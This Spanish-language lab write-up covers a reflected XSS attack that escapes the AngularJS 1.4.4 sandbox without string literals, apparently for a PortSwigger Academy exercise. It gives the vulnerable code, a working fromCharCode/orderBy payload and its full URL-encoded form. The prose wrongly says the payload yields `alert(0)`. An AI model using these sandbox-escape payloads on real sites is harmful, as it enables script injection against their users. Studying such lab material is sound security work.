> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/angularjs-sandbox-escape-without-strings.md).
# Escape de sandbox de AngularJS sin cadenas
Notas de Escape de sandbox de AngularJS sin cadenas para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### XSS reflejado con escape del sandbox de AngularJS sin cadenas
XSS reflejado en AngularJS **1.4.4** — escapar del sandbox y ejecutar `alert(1)` sin `$eval` o literales de cadena.
**Código observado**
```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'test';
$scope.value = $parse(key)($scope.query);
});
```
**Intentos**
* Prueba de cadena / $eval (no funciona): / `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* El análisis se puede romper inyectando a través de la cadena de consulta con `&`:/ `&7+ 7` → `&7%2b7`
Construir dinámicamente `alert(1)` mediante `toString().constructor.fromCharCode(...)` y forzar la evaluación del filtro (`orderBy`):
{% code overflow="wrap" %}
```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```
{% endcode %}
" Este fragmento rompe el análisis y, en hex/ASCII, produce la `alert(0)` cadena.
**Carga útil (codificada en URL, proporcionada)**
{% code overflow="wrap" %}
```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```
{% endcode %}
---
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